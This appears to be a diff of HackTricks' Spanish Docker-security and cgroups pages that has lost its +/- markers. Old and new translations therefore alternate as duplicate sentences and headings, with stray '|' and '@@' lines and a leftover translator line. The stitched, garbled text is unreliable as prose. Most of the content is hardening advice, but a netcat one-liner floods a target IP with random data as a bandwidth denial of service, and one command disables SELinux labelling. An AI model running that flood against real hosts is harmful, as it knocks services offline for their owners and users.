# Denegación de Servicio de Ancho de Banda
|
||||
|
||||
La Denegación de Servicio de Ancho de Banda, también conocida como Bandwidth DoS, es un ataque que tiene como objetivo saturar la capacidad de ancho de banda de un sistema o red. Esto se logra enviando una gran cantidad de tráfico de red al objetivo, lo que provoca una congestión y una disminución en el rendimiento del sistema.
|
||||
|
||||
Este tipo de ataque puede ser llevado a cabo de varias formas, como el envío de paquetes de datos masivos, el uso de técnicas de amplificación de tráfico o la explotación de vulnerabilidades en los protocolos de red.
|
||||
|
||||
Para protegerse contra la Denegación de Servicio de Ancho de Banda, es importante implementar medidas de seguridad como el filtrado de tráfico, la limitación de ancho de banda y la detección de patrones de tráfico anormales. Además, es recomendable contar con un plan de respuesta a incidentes para mitigar los efectos de un ataque de este tipo.
|
||||
|
||||
En resumen, la Denegación de Servicio de Ancho de Banda es un ataque que busca saturar la capacidad de ancho de banda de un sistema o red, lo que puede causar una disminución en el rendimiento y afectar la disponibilidad de los servicios. Es importante implementar medidas de seguridad adecuadas para protegerse contra este tipo de ataque.
|
||||
* Ataque de denegación de servicio por ancho de banda
|
||||
```bash
|
||||
nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc <target IP> 4444; done
|
||||
```
|
||||
## Interesantes banderas de Docker
|
||||
## Banderas interesantes de Docker
|
||||
|
||||
### Banderas --privileged
|
||||
### bandera --privileged
|
||||
|
||||
En la siguiente página puedes aprender **qué implica la bandera `--privileged`**:
|
||||
|
||||
|
@ -290,9 +284,9 @@ En la siguiente página puedes aprender **qué implica la bandera `--privileged`
|
|||
|
||||
#### no-new-privileges
|
||||
|
||||
Si estás ejecutando un contenedor donde un atacante logra obtener acceso como un usuario de baja privilegios. Si tienes un **binario suid mal configurado**, el atacante puede abusar de él y **elevar privilegios dentro** del contenedor. Lo cual le permitiría escapar de él.
|
||||
Si estás ejecutando un contenedor donde un atacante logra obtener acceso como un usuario de bajo privilegio. Si tienes un **binario suid mal configurado**, el atacante podría abusar de él y **escalar privilegios dentro** del contenedor. Lo que podría permitirle escapar de él.
|
||||
|
||||
Ejecutar el contenedor con la opción **`no-new-privileges`** habilitada **evitará este tipo de escalada de privilegios**.
|
||||
Ejecutar el contenedor con la opción **`no-new-privileges`** habilitada **prevendrá este tipo de escalada de privilegios**.
|
||||
```
|
||||
docker run -it --security-opt=no-new-privileges:true nonewpriv
|
||||
```
|
||||
|
@ -311,38 +305,38 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv
|
|||
# You can manually disable selinux in docker with
|
||||
--security-opt label:disable
|
||||
```
|
||||
Para obtener más opciones de **`--security-opt`**, consulta: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)
|
||||
Para más opciones de **`--security-opt`** consulta: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)
|
||||
|
||||
## Otras consideraciones de seguridad
|
||||
## Otras Consideraciones de Seguridad
|
||||
|
||||
### Gestión de secretos
|
||||
### Gestión de Secretos
|
||||
|
||||
En primer lugar, **¡no los incluyas dentro de tu imagen!**
|
||||
Primero que nada, **¡no los pongas dentro de tu imagen!**
|
||||
|
||||
Además, **no uses variables de entorno** para tu información sensible. Cualquier persona que pueda ejecutar `docker inspect` o `exec` en el contenedor puede encontrar tu secreto.
|
||||
Además, **no uses variables de entorno** para tu información sensible. Cualquiera que pueda ejecutar `docker inspect` o `exec` en el contenedor puede encontrar tu secreto.
|
||||
|
||||
Los volúmenes de Docker son mejores. Son la forma recomendada de acceder a tu información sensible en la documentación de Docker. Puedes **utilizar un volumen como sistema de archivos temporal almacenado en memoria**. Los volúmenes eliminan el riesgo de `docker inspect` y el registro. Sin embargo, **los usuarios root aún podrían ver el secreto, al igual que cualquiera que pueda `exec` en el contenedor**.
|
||||
Los volúmenes de Docker son mejores. Son el método recomendado para acceder a tu información sensible en la documentación de Docker. Puedes **usar un volumen como sistema de archivos temporal en memoria**. Los volúmenes eliminan el riesgo de `docker inspect` y de registro. Sin embargo, **los usuarios root todavía podrían ver el secreto, al igual que cualquiera que pueda hacer `exec` en el contenedor**.
|
||||
|
||||
Aún mejor que los volúmenes, utiliza secretos de Docker.
|
||||
Incluso **mejor que los volúmenes, usa los secretos de Docker**.
|
||||
|
||||
Si solo necesitas el **secreto en tu imagen**, puedes usar **BuildKit**. BuildKit reduce significativamente el tiempo de compilación y tiene otras características interesantes, incluido el soporte de secretos en tiempo de compilación.
|
||||
Si solo necesitas el **secreto en tu imagen**, puedes usar **BuildKit**. BuildKit reduce significativamente el tiempo de construcción y tiene otras características interesantes, incluyendo **soporte de secretos durante la construcción**.
|
||||
|
||||
Hay tres formas de especificar el backend de BuildKit para que puedas utilizar sus características ahora:
|
||||
Hay tres maneras de especificar el backend de BuildKit para que puedas usar sus características ahora:
|
||||
|
||||
1. Establécelo como una variable de entorno con `export DOCKER_BUILDKIT=1`.
|
||||
2. Inicia tu comando `build` o `run` con `DOCKER_BUILDKIT=1`.
|
||||
3. Habilita BuildKit de forma predeterminada. Establece la configuración en /_etc/docker/daemon.json_ en _true_ con: `{ "features": { "buildkit": true } }`. Luego reinicia Docker.
|
||||
4. Luego puedes usar secretos en tiempo de compilación con la bandera `--secret` de la siguiente manera:
|
||||
1. Establecerlo como una variable de entorno con `export DOCKER_BUILDKIT=1`.
|
||||
2. Iniciar tu comando de `build` o `run` con `DOCKER_BUILDKIT=1`.
|
||||
3. Habilitar BuildKit por defecto. Configura /_etc/docker/daemon.json_ a _true_ con: `{ "features": { "buildkit": true } }`. Luego reinicia Docker.
|
||||
4. Luego puedes usar secretos durante la construcción con la bandera `--secret` de esta manera:
|
||||
```bash
|
||||
docker build --secret my_key=my_value ,src=path/to/my_secret_file .
|
||||
```
|
||||
Donde tu archivo especifica tus secretos como pares clave-valor.
|
||||
Donde su archivo especifica sus secretos como par clave-valor.
|
||||
|
||||
Estos secretos están excluidos de la caché de construcción de la imagen y de la imagen final.
|
||||
|
||||
Si necesitas tu **secreto en tu contenedor en ejecución**, y no solo al construir tu imagen, utiliza **Docker Compose o Kubernetes**.
|
||||
Si necesita su **secreto en su contenedor en ejecución**, y no solo al construir su imagen, use **Docker Compose o Kubernetes**.
|
||||
|
||||
Con Docker Compose, agrega el par clave-valor de los secretos a un servicio y especifica el archivo de secreto. Un agradecimiento a la respuesta de [Stack Exchange](https://serverfault.com/a/936262/535325) por el consejo de secretos en Docker Compose del que se adapta el siguiente ejemplo.
|
||||
Con Docker Compose, agregue el par clave-valor de los secretos a un servicio y especifique el archivo secreto. Un reconocimiento a [respuesta de Stack Exchange](https://serverfault.com/a/936262/535325) por el consejo de secretos de Docker Compose que el ejemplo a continuación está adaptado.
|
||||
|
||||
Ejemplo de `docker-compose.yml` con secretos:
|
||||
```yaml
|
||||
|
@ -360,90 +354,90 @@ secrets:
|
|||
my_secret:
|
||||
file: ./my_secret_file.txt
|
||||
```
|
||||
A continuación se muestra el contenido traducido al español:
|
||||
Luego inicia Compose como de costumbre con `docker-compose up --build my_service`.
|
||||
|
||||
```markdown
|
||||
Luego, inicie Compose como de costumbre con `docker-compose up --build my_service`.
|
||||
|
||||
Si estás utilizando [Kubernetes](https://kubernetes.io/docs/concepts/configuration/secret/), tiene soporte para secretos. [Helm-Secrets](https://github.com/futuresimple/helm-secrets) puede ayudar a facilitar la gestión de secretos en K8s. Además, K8s tiene Controles de Acceso Basados en Roles (RBAC), al igual que Docker Enterprise. RBAC hace que la gestión de secretos sea más manejable y segura para los equipos.
|
||||
Si estás utilizando [Kubernetes](https://kubernetes.io/docs/concepts/configuration/secret/), este tiene soporte para secretos. [Helm-Secrets](https://github.com/futuresimple/helm-secrets) puede ayudar a facilitar la gestión de secretos en K8s. Además, K8s tiene Controles de Acceso Basados en Roles (RBAC) — al igual que Docker Enterprise. RBAC hace que la gestión de Secretos sea más manejable y segura para los equipos.
|
||||
|
||||
### gVisor
|
||||
|
||||
**gVisor** es un kernel de aplicación, escrito en Go, que implementa una parte sustancial de la superficie del sistema Linux. Incluye un tiempo de ejecución de la Iniciativa de Contenedor Abierto (OCI) llamado `runsc` que proporciona un **límite de aislamiento entre la aplicación y el kernel del host**. El tiempo de ejecución `runsc` se integra con Docker y Kubernetes, lo que facilita la ejecución de contenedores en un entorno aislado.
|
||||
**gVisor** es un núcleo de aplicación, escrito en Go, que implementa una parte sustancial de la superficie del sistema Linux. Incluye un tiempo de ejecución de [Open Container Initiative (OCI)](https://www.opencontainers.org) llamado `runsc` que proporciona un **límite de aislamiento entre la aplicación y el núcleo del host**. El tiempo de ejecución `runsc` se integra con Docker y Kubernetes, facilitando la ejecución de contenedores en entornos aislados.
|
||||
|
||||
{% embed url="https://github.com/google/gvisor" %}
|
||||
|
||||
### Kata Containers
|
||||
|
||||
**Kata Containers** es una comunidad de código abierto que trabaja para construir un tiempo de ejecución de contenedor seguro con máquinas virtuales ligeras que se sienten y funcionan como contenedores, pero proporcionan una **mayor aislamiento de carga de trabajo utilizando tecnología de virtualización de hardware** como una segunda capa de defensa.
|
||||
**Kata Containers** es una comunidad de código abierto que trabaja para construir un tiempo de ejecución de contenedores seguro con máquinas virtuales ligeras que se sienten y se desempeñan como contenedores, pero proporcionan **un aislamiento de carga de trabajo más fuerte utilizando la tecnología de virtualización de hardware** como una segunda capa de defensa.
|
||||
|
||||
{% embed url="https://katacontainers.io/" %}
|
||||
|
||||
### Consejos resumidos
|
||||
### Consejos Resumidos
|
||||
|
||||
* **No uses la bandera `--privileged` ni montes un** [**socket de Docker dentro del contenedor**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** El socket de Docker permite generar contenedores, por lo que es una forma sencilla de tomar el control total del host, por ejemplo, ejecutando otro contenedor con la bandera `--privileged`.
|
||||
* No **ejecutes como root dentro del contenedor. Utiliza un** [**usuario diferente**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) **y** [**espacios de nombres de usuario**](https://docs.docker.com/engine/security/userns-remap/)**.** El usuario root en el contenedor es el mismo que en el host a menos que se remapee con espacios de nombres de usuario. Solo está ligeramente restringido por, principalmente, los espacios de nombres de Linux, las capacidades y los grupos de control.
|
||||
* [**Elimina todas las capacidades**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) y habilita solo las necesarias** (`--cap-add=...`). Muchas cargas de trabajo no necesitan ninguna capacidad y agregarlas aumenta el alcance de un posible ataque.
|
||||
* [**Utiliza la opción de seguridad "no-new-privileges"**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) para evitar que los procesos obtengan más privilegios, por ejemplo, a través de binarios suid.
|
||||
* **No uses la bandera `--privileged` ni montes un** [**socket de Docker dentro del contenedor**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** El socket de Docker permite la creación de contenedores, por lo que es una forma fácil de tomar el control total del host, por ejemplo, ejecutando otro contenedor con la bandera `--privileged`.
|
||||
* **No ejecutes como root dentro del contenedor. Usa un** [**usuario diferente**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **y** [**espacios de nombres de usuario**](https://docs.docker.com/engine/security/userns-remap/)**.** El root en el contenedor es el mismo que en el host a menos que se remapee con espacios de nombres de usuario. Solo está ligeramente restringido por, principalmente, espacios de nombres de Linux, capacidades y cgroups.
|
||||
* [**Deshabilita todas las capacidades**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) y habilita solo aquellas que sean necesarias** (`--cap-add=...`). Muchas cargas de trabajo no necesitan ninguna capacidad y agregarlas aumenta el alcance de un posible ataque.
|
||||
* [**Usa la opción de seguridad “no-new-privileges”**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) para evitar que los procesos obtengan más privilegios, por ejemplo a través de binarios suid.
|
||||
* [**Limita los recursos disponibles para el contenedor**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Los límites de recursos pueden proteger la máquina de ataques de denegación de servicio.
|
||||
* **Ajusta los perfiles de** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(o SELinux)** para restringir las acciones y las llamadas al sistema disponibles para el contenedor al mínimo necesario.
|
||||
* **Utiliza** [**imágenes oficiales de Docker**](https://docs.docker.com/docker-hub/official\_images/) **y exige firmas** o crea tus propias imágenes basadas en ellas. No heredes ni uses imágenes con puertas traseras. También guarda las claves raíz y las contraseñas en un lugar seguro. Docker tiene planes para gestionar las claves con UCP.
|
||||
* **Reconstruye regularmente** tus imágenes para **aplicar parches de seguridad al host y a las imágenes**.
|
||||
* Gestiona tus **secretos de manera inteligente** para que sea difícil para el atacante acceder a ellos.
|
||||
* Si **expones el demonio de Docker, utiliza HTTPS** con autenticación de cliente y servidor.
|
||||
* En tu Dockerfile, **prefiere COPY en lugar de ADD**. ADD extrae automáticamente archivos comprimidos y puede copiar archivos desde URL. COPY no tiene estas capacidades. Siempre que sea posible, evita usar ADD para no ser susceptible a ataques a través de URL remotas y archivos Zip.
|
||||
* Ten **contenedores separados para cada microservicio**.
|
||||
* **No incluyas ssh** dentro del contenedor, se puede utilizar "docker exec" para acceder por ssh al contenedor.
|
||||
* Utiliza **imágenes de contenedor más pequeñas**.
|
||||
* **Ajusta** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(o SELinux)** perfiles para restringir las acciones y llamadas al sistema disponibles para el contenedor al mínimo requerido.
|
||||
* **Usa** [**imágenes oficiales de docker**](https://docs.docker.com/docker-hub/official_images/) **y requiere firmas** o construye las tuyas propias basándote en ellas. No heredes ni uses imágenes [comprometidas](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). Además, almacena las claves raíz, la frase de paso en un lugar seguro. Docker tiene planes para gestionar las claves con UCP.
|
||||
* **Reconstruye regularmente** tus imágenes para **aplicar parches de seguridad al host e imágenes.**
|
||||
* Gestiona tus **secretos sabiamente** para que sea difícil para el atacante acceder a ellos.
|
||||
* Si **expones el daemon de docker usa HTTPS** con autenticación de cliente y servidor.
|
||||
* En tu Dockerfile, **prefiere COPY en lugar de ADD**. ADD extrae automáticamente archivos comprimidos y puede copiar archivos de URLs. COPY no tiene estas capacidades. Siempre que sea posible, evita usar ADD para no ser susceptible a ataques a través de URLs remotas y archivos Zip.
|
||||
* Ten **contenedores separados para cada microservicio**
|
||||
* **No pongas ssh** dentro del contenedor, se puede usar “docker exec” para acceder al contenedor mediante ssh.
|
||||
* Ten **imágenes de contenedor más pequeñas**
|
||||
|
||||
## Escape de Docker / Escalada de privilegios
|
||||
## Docker Breakout / Escalada de Privilegios
|
||||
|
||||
Si estás **dentro de un contenedor de Docker** o tienes acceso a un usuario en el **grupo docker**, puedes intentar **escapar y escalar privilegios**:
|
||||
Si estás **dentro de un contenedor de docker** o tienes acceso a un usuario en el **grupo de docker**, podrías intentar **escapar y escalar privilegios**:
|
||||
|
||||
{% content-ref url="docker-breakout-privilege-escalation/" %}
|
||||
[docker-breakout-privilege-escalation](docker-breakout-privilege-escalation/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Bypass del plugin de autenticación de Docker
|
||||
## Bypass de Plugin de Autenticación de Docker
|
||||
|
||||
Si tienes acceso al socket de Docker o tienes acceso a un usuario en el **grupo docker pero tus acciones están limitadas por un plugin de autenticación de Docker**, verifica si puedes **burlarlo**:
|
||||
Si tienes acceso al socket de docker o tienes acceso a un usuario en el **grupo de docker pero tus acciones están siendo limitadas por un plugin de autenticación de docker**, verifica si puedes **eludirlo:**
|
||||
|
||||
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
|
||||
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Reforzamiento de Docker
|
||||
## Endurecimiento de Docker
|
||||
|
||||
* La herramienta [**docker-bench-security**](https://github.com/docker/docker-bench-security) es un script que verifica docenas de prácticas recomendadas comunes para implementar contenedores de Docker en producción. Las pruebas son todas automatizadas y se basan en el [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
|
||||
Debes ejecutar la herramienta desde el host que ejecuta Docker o desde un contenedor con suficientes privilegios. Descubre **cómo ejecutarlo en el README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
|
||||
* La herramienta [**docker-bench-security**](https://github.com/docker/docker-bench-security) es un script que verifica docenas de prácticas comunes recomendadas para desplegar contenedores de Docker en producción. Las pruebas son todas automatizadas y se basan en el [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
|
||||
Necesitas ejecutar la herramienta desde el host que ejecuta docker o desde un contenedor con suficientes privilegios. Descubre **cómo ejecutarlo en el README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
|
||||
|
||||
## Referencias
|
||||
|
||||
* [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
|
||||
* [https://twitter.com/\_fel1x/status/1151487051986087936](https://twitter.com/\_fel1x/status/1151487051986087936)
|
||||
* [https://twitter.com/\_fel1x/status/1151487051986087936](https://twitter.com/_fel1x/status/1151487051986087936)
|
||||
* [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)
|
||||
* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-1overview/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-1overview/)
|
||||
* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)
|
||||
* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/)
|
||||
* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-4container-image/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-4container-image/)
|
||||
* [https://en.wikipedia.org/wiki/Linux\_namespaces](https://en.wikipedia.org/wiki/Linux\_namespaces)
|
||||
* [https://en.wikipedia.org/wiki/Linux_namespaces](https://en.wikipedia.org/wiki/Linux_namespaces)
|
||||
* [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
```
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** utilizando las herramientas comunitarias más avanzadas del mundo.
|
||||
Obtén acceso hoy mismo:
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las herramientas comunitarias **más avanzadas** del mundo.\
|
||||
Obtén Acceso Hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking de AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,14 +1,30 @@
|
|||
# CGroups
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Información Básica
|
||||
|
||||
Los **grupos de control de Linux**, también conocidos como cgroups, son una característica del kernel de Linux que permite **limitar**, controlar y priorizar los **recursos del sistema** para una colección de procesos. Los cgroups proporcionan una forma de **administrar y aislar el uso de recursos** (CPU, memoria, E/S de disco, red, etc.) de grupos de procesos en un sistema. Esto puede ser útil para muchos propósitos, como limitar los recursos disponibles para un grupo particular de procesos, aislar ciertos tipos de cargas de trabajo de otros o priorizar el uso de recursos del sistema entre diferentes grupos de procesos.
|
||||
Los **grupos de control de Linux**, también conocidos como cgroups, son una característica del kernel de Linux que permite **limitar**, regular y priorizar los **recursos del sistema** para un conjunto de procesos. Los cgroups ofrecen una manera de **gestionar y aislar el uso de recursos** (CPU, memoria, E/S de disco, red, etc.) de grupos de procesos en un sistema. Esto puede ser útil para muchos propósitos, como limitar los recursos disponibles para un grupo particular de procesos, aislar ciertos tipos de cargas de trabajo de otros, o priorizar el uso de recursos del sistema entre diferentes grupos de procesos.
|
||||
|
||||
Existen **dos versiones de cgroups**, 1 y 2, y ambas se utilizan actualmente y se pueden configurar simultáneamente en un sistema. La **diferencia más significativa** entre la versión 1 y la **versión 2** de cgroups es que esta última introdujo una nueva organización jerárquica para los cgroups, donde los grupos se pueden organizar en una estructura **similar a un árbol** con relaciones padre-hijo. Esto permite un control más flexible y detallado sobre la asignación de recursos entre diferentes grupos de procesos.
|
||||
Hay **dos versiones de cgroups**, 1 y 2, y ambas están actualmente en uso y pueden configurarse simultáneamente en un sistema. La **diferencia más significativa** entre la versión 1 de cgroups y la **versión 2** es que esta última introdujo una nueva organización jerárquica para los cgroups, donde los grupos pueden organizarse en una **estructura de árbol** con relaciones de padres e hijos. Esto permite un control más flexible y detallado sobre la asignación de recursos entre diferentes grupos de procesos.
|
||||
|
||||
Además de la nueva organización jerárquica, la versión 2 de cgroups también introdujo **varios otros cambios y mejoras**, como el soporte para **nuevos controladores de recursos**, un mejor soporte para aplicaciones heredadas y un mejor rendimiento.
|
||||
Además de la nueva organización jerárquica, la versión 2 de cgroups también introdujo **varios otros cambios y mejoras**, como soporte para **nuevos controladores de recursos**, mejor soporte para aplicaciones heredadas y un rendimiento mejorado.
|
||||
|
||||
En general, cgroups **versión 2 ofrece más características y mejor rendimiento** que la versión 1, pero esta última aún puede ser utilizada en ciertos escenarios donde la compatibilidad con sistemas más antiguos es una preocupación.
|
||||
En general, la **versión 2 de cgroups ofrece más características y mejor rendimiento** que la versión 1, pero esta última aún puede usarse en ciertos escenarios donde la compatibilidad con sistemas más antiguos es una preocupación.
|
||||
|
||||
Puede listar los cgroups v1 y v2 para cualquier proceso mirando su archivo cgroup en /proc/\<pid>. Puede comenzar mirando los cgroups de su shell con este comando:
|
||||
Puedes listar los cgroups v1 y v2 para cualquier proceso mirando su archivo cgroup en /proc/\<pid>. Puedes comenzar mirando los cgroups de tu shell con este comando:
|
||||
```shell-session
|
||||
$ cat /proc/self/cgroup
|
||||
12:rdma:/
|
||||
|
@ -23,23 +39,23 @@ $ cat /proc/self/cgroup
|
|||
1:name=systemd:/user.slice/user-1000.slice/session-2.scope
|
||||
0::/user.slice/user-1000.slice/session-2.scope
|
||||
```
|
||||
No te alarmes si la **salida es significativamente más corta** en tu sistema; esto solo significa que probablemente **solo tienes cgroups v2**. Cada línea de salida aquí comienza con un número y es un cgroup diferente. Aquí hay algunos consejos sobre cómo leerlo:
|
||||
No te alarmes si el **output es significativamente más corto** en tu sistema; esto simplemente significa que probablemente **solo tienes cgroups v2**. Cada línea de salida aquí comienza con un número y es un cgroup diferente. Aquí hay algunos consejos sobre cómo leerlo:
|
||||
|
||||
* Los números 2-12 son para cgroups v1. Los **controladores** para esos se enumeran junto al número.
|
||||
* El **número 1** también es para la **versión 1**, pero no tiene un controlador. Este cgroup es solo para **propósitos de gestión** (en este caso, systemd lo configuró).
|
||||
* La última línea, **número 0**, es para **cgroups v2**. No hay controladores visibles aquí. En un sistema que no tiene cgroups v1, esta será la única línea de salida.
|
||||
* Los **nombres son jerárquicos y parecen partes de rutas de archivos**. Puede ver en este ejemplo que algunos de los cgroups se llaman /user.slice y otros /user.slice/user-1000.slice/session-2.scope.
|
||||
* **Los números 2–12 son para cgroups v1**. Los **controladores** para esos están listados al lado del número.
|
||||
* **El número 1** también es para **versión 1**, pero no tiene un controlador. Este cgroup es solo para **propósitos de gestión** (en este caso, systemd lo configuró).
|
||||
* La última línea, **número 0**, es para **cgroups v2**. No se ven controladores aquí. En un sistema que no tiene cgroups v1, esta será la única línea de salida.
|
||||
* **Los nombres son jerárquicos y parecen partes de rutas de archivos**. Puedes ver en este ejemplo que algunos de los cgroups se nombran /user.slice y otros /user.slice/user-1000.slice/session-2.scope.
|
||||
* El nombre /testcgroup se creó para mostrar que en cgroups v1, los cgroups para un proceso pueden ser completamente independientes.
|
||||
* Los nombres bajo user.slice que incluyen sesión son sesiones de inicio de sesión, asignadas por systemd. Los verás cuando estés mirando los cgroups de una shell. Los **cgroups** para tus **servicios del sistema** estarán **bajo system.slice**.
|
||||
* **Los nombres bajo user.slice** que incluyen sesión son sesiones de inicio de sesión, asignadas por systemd. Los verás cuando estés mirando los cgroups de una shell. Los **cgroups** para tus **servicios del sistema** estarán **bajo system.slice**.
|
||||
|
||||
### Visualización de cgroups
|
||||
### Visualizando cgroups
|
||||
|
||||
Los cgroups se **acceden típicamente a través del sistema de archivos**. Esto es en contraste con la interfaz de llamada al sistema Unix tradicional para interactuar con el kernel.\
|
||||
Para explorar la configuración de cgroup de una shell, puedes mirar en el archivo `/proc/self/cgroup` para encontrar el cgroup de la shell, y luego navegar al directorio `/sys/fs/cgroup` (o `/sys/fs/cgroup/unified`) y buscar un **directorio con el mismo nombre que el cgroup**. Cambiar a este directorio y mirar alrededor te permitirá ver los diversos **ajustes e información de uso de recursos para el cgroup**.
|
||||
Los cgroups se acceden típicamente **a través del sistema de archivos**. Esto contrasta con la interfaz tradicional de llamadas al sistema Unix para interactuar con el kernel.\
|
||||
